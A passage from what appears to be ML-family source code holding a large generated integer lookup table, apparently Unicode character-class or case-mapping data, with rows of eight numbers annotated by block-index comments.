(* 22 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 22 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 22 *) + 60, 60, 46, 60, 60, 60, 3, 60, (* 22 *) + 3, 60, 60, 3, 60, 46, 46, 46, (* 23 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 23 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 23 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 23 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 23 *) + 40, 40, 40, 46, 46, 46, 46, 46, (* 23 *) + 40, 40, 40, 3, 3, 46, 46, 46, (* 23 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 23 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 24 *) + 46, 46, 46, 46, 3, 46, 46, 46, (* 24 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 24 *) + 46, 46, 46, 3, 46, 46, 46, 3, (* 24 *) + 46, 40, 40, 40, 40, 40, 40, 40, (* 24 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 24 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 24 *) + 40, 40, 40, 46, 46, 46, 46, 46, (* 24 *) + 59, 40, 40, 40, 40, 40, 40, 40, (* 25 *) + 40, 40, 40, 60, 60, 60, 60, 60, (* 25 *) + 60, 60, 60, 46, 46, 46, 46, 46, (* 25 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 25 *) + 78, 78, 78, 78, 78, 78, 78, 78, (* 25 *) + 78, 78, 3, 3, 3, 3, 46, 46, (* 25 *) + 60, 40, 40, 40, 40, 40, 40, 40, (* 25 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 25 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 26 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 26 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 26 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 26 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 26 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 26 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 26 *) + 46, 46, 40, 40, 40, 40, 40, 46, (* 26 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 27 *) + 40, 40, 40, 40, 40, 40, 40, 46, (* 27 *) + 40, 40, 40, 40, 3, 40, 60, 60, (* 27 *) + 60, 60, 60, 60, 60, 79, 79, 60, (* 27 *) + 60, 60, 60, 60, 60, 59, 59, 60, (* 27 *) + 60, 15, 60, 60, 60, 60, 46, 46, (* 27 *) + 9, 9, 9, 9, 9, 9, 9, 9, (* 27 *) + 9, 9, 46, 46, 46, 46, 46, 46, (* 27 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 28 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 28 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 28 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 28 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 28 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 28 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 28 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 28 *) + 46, 60, 60, 80, 46, 40, 40, 40, (* 29 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 29 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 29 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 29 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 29 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 29 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 29 *) + 40, 40, 46, 46, 60, 40, 80, 80, (* 29 *) + 80, 60, 60, 60, 60, 60, 60, 60, (* 30 *) + 60, 80, 80, 80, 80, 60, 46, 46, (* 30 *) + 15, 60, 60, 60, 60, 46, 46, 46, (* 30 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 30 *) + 40, 40, 60, 60, 3, 3, 81, 81, (* 30 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 30 *) + 3, 46, 46, 46, 46, 46, 46, 46, (* 30 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 30 *) + 46, 60, 80, 80, 46, 40, 40, 40, (* 31 *) + 40, 40, 40, 40, 40, 46, 46, 40, (* 31 *) + 40, 46, 46, 40, 40, 40, 40, 40, (* 31 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 31 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 31 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 31 *) + 40, 46, 40, 46, 46, 46, 40, 40, (* 31 *) + 40, 40, 46, 46, 60, 46, 80, 80, (* 31 *) + 80, 60, 60, 60, 60, 46, 46, 80, (* 32 *) + 80, 46, 46, 80, 80, 60, 46, 46, (* 32 *) + 46, 46, 46, 46, 46, 46, 46, 80, (* 32 *) + 46, 46, 46, 46, 40, 40, 46, 40, (* 32 *) + 40, 40, 60, 60, 46, 46, 81, 81, (* 32 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 32 *) + 40, 40, 4, 4, 82, 82, 82, 82, (* 32 *) + 19, 83, 15, 46, 46, 46, 46, 46, (* 32 *) + 46, 46, 60, 46, 46, 40, 40, 40, (* 33 *) + 40, 40, 40, 46, 46, 46, 46, 40, (* 33 *) + 40, 46, 46, 40, 40, 40, 40, 40, (* 33 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 33 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 33 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 33 *) + 40, 46, 40, 40, 46, 40, 40, 46, (* 33 *) + 40, 40, 46, 46, 60, 46, 80, 80, (* 33 *) + 80, 60, 60, 46, 46, 46, 46, 60, (* 34 *) + 60, 46, 46, 60, 60, 60, 46, 46, (* 34 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 34 *) + 46, 40, 40, 40, 40, 46, 40, 46, (* 34 *) + 46, 46, 46, 46, 46, 46, 81, 81, (* 34 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 34 *) + 60, 60, 40, 40, 40, 46, 46, 46, (* 34 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 34 *) + 46, 60, 60, 80, 46, 40, 40, 40, (* 35 *) + 40, 40, 40, 40, 46, 40, 46, 40, (* 35 *) + 40, 40, 46, 40, 40, 40, 40, 40, (* 35 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 35 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 35 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 35 *) + 40, 46, 40, 40, 46, 40, 40, 40, (* 35 *) + 40, 40, 46, 46, 60, 40, 80, 80, (* 35 *) + 80, 60, 60, 60, 60, 60, 46, 60, (* 36 *) + 60, 80, 46, 80, 80, 60, 46, 46, (* 36 *) + 15, 46, 46, 46, 46, 46, 46, 46, (* 36 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 36 *) + 40, 46, 46, 46, 46, 46, 81, 81, (* 36 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 36 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 36 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 36 *) + 46, 60, 80, 80, 46, 40, 40, 40, (* 37 *) + 40, 40, 40, 40, 40, 46, 46, 40, (* 37 *) + 40, 46, 46, 40, 40, 40, 40, 40, (* 37 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 37 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 37 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 37 *) + 40, 46, 40, 40, 46, 46, 40, 40, (* 37 *) + 40, 40, 46, 46, 60, 40, 80, 60, (* 37 *) + 80, 60, 60, 60, 46, 46, 46, 80, (* 38 *) + 80, 46, 46, 80, 80, 60, 46, 46, (* 38 *) + 46, 46, 46, 46, 46, 46, 60, 80, (* 38 *) + 46, 46, 46, 46, 40, 40, 46, 40, (* 38 *) + 40, 40, 46, 46, 46, 46, 81, 81, (* 38 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 38 *) + 15, 46, 46, 46, 46, 46, 46, 46, (* 38 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 38 *) + 46, 46, 60, 80, 46, 40, 40, 40, (* 39 *) + 40, 40, 40, 46, 46, 46, 40, 40, (* 39 *) + 40, 46, 40, 40, 40, 40, 46, 46, (* 39 *) + 46, 40, 40, 46, 40, 46, 40, 40, (* 39 *) + 46, 46, 46, 40, 40, 46, 46, 46, (* 39 *) + 40, 40, 40, 46, 46, 46, 40, 40, (* 39 *) + 40, 40, 40, 40, 40, 40, 46, 40, (* 39 *) + 40, 40, 46, 46, 46, 46, 80, 80, (* 39 *) + 60, 80, 80, 46, 46, 46, 80, 80, (* 40 *) + 80, 46, 80, 80, 80, 60, 46, 46, (* 40 *) + 46, 46, 46, 46, 46, 46, 46, 80, (* 40 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 40 *) + 46, 46, 46, 46, 46, 46, 46, 81, (* 40 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 40 *) + 84, 19, 19, 46, 46, 46, 46, 46, (* 40 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 40 *) + 46, 80, 80, 80, 46, 40, 40, 40, (* 41 *) + 40, 40, 40, 40, 40, 46, 40, 40, (* 41 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 41 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 41 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 41 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 41 *) + 40, 40, 40, 40, 46, 40, 40, 40, (* 41 *) + 40, 40, 46, 46, 46, 46, 60, 60, (* 41 *) + 60, 80, 80, 80, 80, 46, 60, 60, (* 42 *) + 60, 46, 60, 60, 60, 60, 46, 46, (* 42 *) + 46, 46, 46, 46, 46, 60, 60, 46, (* 42 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 42 *) + 40, 40, 46, 46, 46, 46, 81, 81, (* 42 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 42 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 42 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 42 *) + 46, 46, 80, 80, 46, 40, 40, 40, (* 43 *) + 40, 40, 40, 40, 40, 46, 40, 40, (* 43 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 43 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 43 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 43 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 43 *) + 40, 40, 40, 40, 46, 40, 40, 40, (* 43 *) + 40, 40, 46, 46, 46, 46, 80, 60, (* 43 *) + 80, 80, 80, 80, 80, 46, 60, 80, (* 44 *) + 80, 46, 80, 80, 60, 60, 46, 46, (* 44 *) + 46, 46, 46, 46, 46, 80, 80, 46, (* 44 *) + 46, 46, 46, 46, 46, 46, 40, 46, (* 44 *) + 40, 40, 46, 46, 46, 46, 81, 81, (* 44 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 44 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 44 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 44 *) + 46, 46, 80, 80, 46, 40, 40, 40, (* 45 *) + 40, 40, 40, 40, 40, 46, 40, 40, (* 45 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 45 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 45 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 45 *) + 40, 46, 40, 40, 40, 40, 40, 40, (* 45 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 45 *) + 40, 40, 46, 46, 46, 46, 80, 80, (* 45 *) + 80, 60, 60, 60, 46, 46, 80, 80, (* 46 *) + 80, 46, 80, 80, 80, 60, 46, 46, (* 46 *) + 46, 46, 46, 46, 46, 46, 46, 80, (* 46 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 46 *) + 40, 40, 46, 46, 46, 46, 81, 81, (* 46 *) + 81, 81, 81, 81, 81, 81, 81, 81, (* 46 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 46 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 46 *) + 46, 40, 40, 40, 40, 40, 40, 40, (* 47 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 47 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 47 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 47 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 47 *) + 40, 40, 40, 40, 40, 40, 40, 3, (* 47 *) + 40, 60, 40, 40, 60, 60, 60, 60, (* 47 *) + 60, 60, 60, 46, 46, 46, 46, 4, (* 47 *) + 40, 40, 40, 40, 40, 40, 59, 60, (* 48 *) + 60, 60, 60, 60, 60, 60, 60, 15, (* 48 *) + 9, 9, 9, 9, 9, 9, 9, 9, (* 48 *) + 9, 9, 3, 3, 46, 46, 46, 46, (* 48 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 48 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 48 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 48 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 48 *) + 46, 40, 40, 46, 40, 46, 46, 40, (* 49 *) + 40, 46, 40, 46, 46, 40, 46, 46, (* 49 *) + 46, 46, 46, 46, 40, 40, 40, 40, (* 49 *) + 46, 40, 40, 40, 40, 40, 40, 40, (* 49 *) + 46, 40, 40, 40, 46, 40, 46, 40, (* 49 *) + 46, 46, 40, 40, 46, 40, 40, 3, (* 49 *) + 40, 60, 40, 40, 60, 60, 60, 60, (* 49 *) + 60, 60, 46, 60, 60, 40, 46, 46, (* 49 *) + 40, 40, 40, 40, 40, 46, 59, 46, (* 50 *) + 60, 60, 60, 60, 60, 60, 46, 46, (* 50 *) + 9, 9, 9, 9, 9, 9, 9, 9, (* 50 *) + 9, 9, 46, 46, 40, 40, 46, 46, (* 50 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 50 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 50 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 50 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 50 *) + 15, 15, 15, 15, 3, 3, 3, 3, (* 51 *) + 3, 3, 3, 3, 3, 3, 3, 3, (* 51 *) + 3, 3, 3, 15, 15, 15, 15, 15, (* 51 *) + 60, 60, 15, 15, 15, 15, 15, 15, (* 51 *) + 78, 78, 78, 78, 78, 78, 78, 78, (* 51 *) + 78, 78, 85, 85, 85, 85, 85, 85, (* 51 *) + 85, 85, 85, 85, 15, 60, 15, 60, (* 51 *) + 15, 60, 5, 6, 5, 6, 80, 80, (* 51 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 52 *) + 46, 40, 40, 40, 40, 40, 40, 40, (* 52 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 52 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 52 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 52 *) + 40, 40, 46, 46, 46, 46, 46, 46, (* 52 *) + 46, 60, 60, 60, 60, 60, 60, 60, (* 52 *) + 60, 60, 60, 60, 60, 60, 60, 80, (* 52 *) + 60, 60, 60, 60, 60, 3, 60, 60, (* 53 *) + 60, 60, 60, 60, 46, 46, 46, 46, (* 53 *) + 60, 60, 60, 60, 60, 60, 46, 60, (* 53 *) + 46, 60, 60, 60, 60, 60, 60, 60, (* 53 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 53 *) + 60, 60, 60, 60, 60, 60, 46, 46, (* 53 *) + 46, 60, 60, 60, 60, 60, 60, 60, (* 53 *) + 46, 60, 46, 46, 46, 46, 46, 46, (* 53 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 54 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 54 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 54 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 54 *) + 76, 76, 76, 76, 76, 76, 76, 76, (* 54 *) + 76, 76, 76, 76, 76, 76, 76, 76, (* 54 *) + 76, 76, 76, 76, 76, 76, 76, 76, (* 54 *) + 76, 76, 76, 76, 76, 76, 76, 76, (* 54 *) + 76, 76, 76, 76, 76, 76, 46, 46, (* 55 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 55 *) + 16, 16, 16, 16, 16, 16, 16, 16, (* 55 *) + 16, 16, 16, 16, 16, 16, 16, 16, (* 55 *) + 16, 16, 16, 16, 16, 16, 16, 16, (* 55 *) + 16, 16, 16, 16, 16, 16, 16, 16, (* 55 *) + 16, 16, 16, 16, 16, 16, 16, 46, (* 55 *) + 46, 46, 46, 3, 46, 46, 46, 46, (* 55 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 56 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 56 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 56 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 56 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 56 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 56 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 56 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 56 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 57 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 57 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 57 *) + 40, 40, 46, 46, 46, 46, 46, 40, (* 57 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 57 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 57 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 57 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 57 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 58 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 58 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 58 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 58 *) + 40, 40, 40, 46, 46, 46, 46, 46, (* 58 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 58 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 58 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 58 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 59 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 59 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 59 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 59 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 59 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 59 *) + 40, 40, 40, 40, 40, 40, 40, 40, (* 59 *) + 40, 40, 46, 46, 46, 46, 46, 46, (* 59 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 60 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 60 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 60 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 60 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 60 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 60 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 60 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 60 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 61 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 61 *) + 23, 24, 23, 24, 23, 24, 16, 16, (* 61 *) + 16, 16, 16, 16, 46, 46, 46, 46, (* 61 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 61 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 61 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 61 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 61 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 62 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 62 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 62 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 62 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 62 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 62 *) + 23, 24, 23, 24, 23, 24, 23, 24, (* 62 *) + 23, 24, 46, 46, 46, 46, 46, 46, (* 62 *) + 86, 86, 86, 86, 86, 86, 86, 86, (* 63 *) + 87, 87, 87, 87, 87, 87, 87, 87, (* 63 *) + 86, 86, 86, 86, 86, 86, 46, 46, (* 63 *) + 87, 87, 87, 87, 87, 87, 46, 46, (* 63 *) + 86, 86, 86, 86, 86, 86, 86, 86, (* 63 *) + 87, 87, 87, 87, 87, 87, 87, 87, (* 63 *) + 86, 86, 86, 86, 86, 86, 86, 86, (* 63 *) + 87, 87, 87, 87, 87, 87, 87, 87, (* 63 *) + 86, 86, 86, 86, 86, 86, 46, 46, (* 64 *) + 87, 87, 87, 87, 87, 87, 46, 46, (* 64 *) + 16, 86, 16, 86, 16, 86, 16, 86, (* 64 *) + 46, 87, 46, 87, 46, 87, 46, 87, (* 64 *) + 86, 86, 86, 86, 86, 86, 86, 86, (* 64 *) + 87, 87, 87, 87, 87, 87, 87, 87, (* 64 *) + 88, 88, 89, 89, 89, 89, 90, 90, (* 64 *) + 91, 91, 92, 92, 93, 93, 46, 46, (* 64 *) + 86, 86, 86, 86, 86, 86, 86, 86, (* 65 *) + 87, 87, 87, 87, 87, 87, 87, 87, (* 65 *) + 86, 86, 86, 86, 86, 86, 86, 86, (* 65 *) + 87, 87, 87, 87, 87, 87, 87, 87, (* 65 *) + 86, 86, 86, 86, 86, 86, 86, 86, (* 65 *) + 87, 87, 87, 87, 87, 87, 87, 87, (* 65 *) + 86, 86, 16, 94, 16, 46, 16, 16, (* 65 *) + 87, 87, 95, 95, 96, 11, 38, 11, (* 65 *) + 11, 11, 16, 94, 16, 46, 16, 16, (* 66 *) + 97, 97, 97, 97, 96, 11, 11, 11, (* 66 *) + 86, 86, 16, 16, 46, 46, 16, 16, (* 66 *) + 87, 87, 98, 98, 46, 11, 11, 11, (* 66 *) + 86, 86, 16, 16, 16, 99, 16, 16, (* 66 *) + 87, 87, 100, 100, 101, 11, 11, 11, (* 66 *) + 46, 46, 16, 94, 16, 46, 16, 16, (* 66 *) +102, 102, 103, 103, 96, 11, 11, 46, (* 66 *) + 2, 2, 2, 2, 2, 2, 2, 2, (* 67 *) + 2, 2, 2, 2, 104, 104, 104, 104, (* 67 *) + 8, 8, 8, 8, 8, 8, 3, 3, (* 67 *) + 5, 6, 5, 5, 5, 6, 5, 5, (* 67 *) + 3, 3, 3, 3, 3, 3, 3, 3, (* 67 *) +105, 106, 104, 104, 104, 104, 104, 46, (* 67 *) + 3, 3, 3, 3, 3, 3, 3, 3, (* 67 *) + 3, 5, 6, 3, 3, 3, 3, 12, (* 67 *) + 12, 3, 3, 3, 7, 5, 6, 46, (* 68 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 68 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 68 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 68 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 68 *) + 46, 46, 104, 104, 104, 104, 104, 104, (* 68 *) + 17, 46, 46, 46, 17, 17, 17, 17, (* 68 *) + 17, 17, 7, 7, 7, 5, 6, 16, (* 68 *) +107, 107, 107, 107, 107, 107, 107, 107, (* 69 *) +107, 107, 7, 7, 7, 5, 6, 46, (* 69 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 69 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 69 *) + 4, 4, 4, 4, 4, 4, 4, 4, (* 69 *) + 4, 4, 4, 4, 46, 46, 46, 46, (* 69 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 69 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 69 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 70 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 70 *) + 60, 60, 60, 60, 60, 60, 60, 60, (* 70 *) + 60, 60, 60, 60, 60, 79, 79, 79, (* 70 *) + 79, 60, 46, 46, 46, 46, 46, 46, (* 70 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 70 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 70 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 70 *) + 15, 15, 38, 15, 15, 15, 15, 38, (* 71 *) + 15, 15, 16, 38, 38, 38, 16, 16, (* 71 *) + 38, 38, 38, 16, 15, 38, 15, 15, (* 71 *) + 38, 38, 38, 38, 38, 38, 15, 15, (* 71 *) + 15, 15, 15, 15, 38, 15, 38, 15, (* 71 *) + 38, 15, 38, 38, 38, 38, 16, 16, (* 71 *) + 38, 38, 15, 38, 16, 40, 40, 40, (* 71 *) + 40, 46, 46, 46, 46, 46, 46, 46, (* 71 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 72 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 72 *) + 46, 46, 46, 19, 19, 19, 19, 19, (* 72 *) + 19, 19, 19, 19, 19, 19, 19, 108, (* 72 *) +109, 109, 109, 109, 109, 109, 109, 109, (* 72 *) +109, 109, 109, 109, 110, 110, 110, 110, (* 72 *) +111, 111, 111, 111, 111, 111, 111, 111, (* 72 *) +111, 111, 111, 111, 112, 112, 112, 112, (* 72 *) +113, 113, 113, 46, 46, 46, 46, 46, (* 73 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 73 *) + + 7, 7, 7, 7, 7, 15, 15, 15, (* 73 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 73 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 73 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 73 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 73 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 73 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 74 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 74 *) + 15, 15, 7, 15, 7, 15, 15, 15, (* 74 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 74 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 74 *) + 15, 15, 15, 46, 46, 46, 46, 46, (* 74 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 74 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 74 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 75 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 75 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 75 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 75 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 75 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 75 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 75 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 75 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 76 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 76 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 76 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 76 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 76 *) + 7, 7, 7, 7, 7, 7, 7, 7, (* 76 *) + 7, 7, 46, 46, 46, 46, 46, 46, (* 76 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 76 *) + 15, 46, 15, 15, 15, 15, 15, 15, (* 77 *) + 7, 7, 7, 7, 15, 15, 15, 15, (* 77 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 77 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 77 *) + 7, 7, 15, 15, 15, 15, 15, 15, (* 77 *) + 15, 5, 6, 15, 15, 15, 15, 15, (* 77 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 77 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 77 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 78 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 78 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 78 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 78 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 78 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 78 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 78 *) + 15, 15, 15, 46, 46, 46, 46, 46, (* 78 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 79 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 79 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 79 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 79 *) + 15, 15, 15, 15, 15, 46, 46, 46, (* 79 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 79 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 79 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 79 *) + 15, 15, 15, 15, 15, 15, 15, 15, (* 80 *) + 15, 15, 15, 46, 46, 46, 46, 46, (* 80 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 80 *) + 46, 46, 46, 46, 46, 46, 46, 46, (* 80 *) +114, 114, 114, 114, 114, 114, 114, 114, (* 80 *) +114, 114, 114, 114, 114, 114, 114, 114, (* 80 *) +114, 114, 114, 114, 82, 82, 82, 82, (* 80 *) + 82, 82, 82, 82, 82, 82, 82, 82, (* 80 *) + 82, 82, 82, 82, 82, 82, 82, 82, (* 81 *) +115, 115, 115, 115, 115, 115, 115, 115, (* 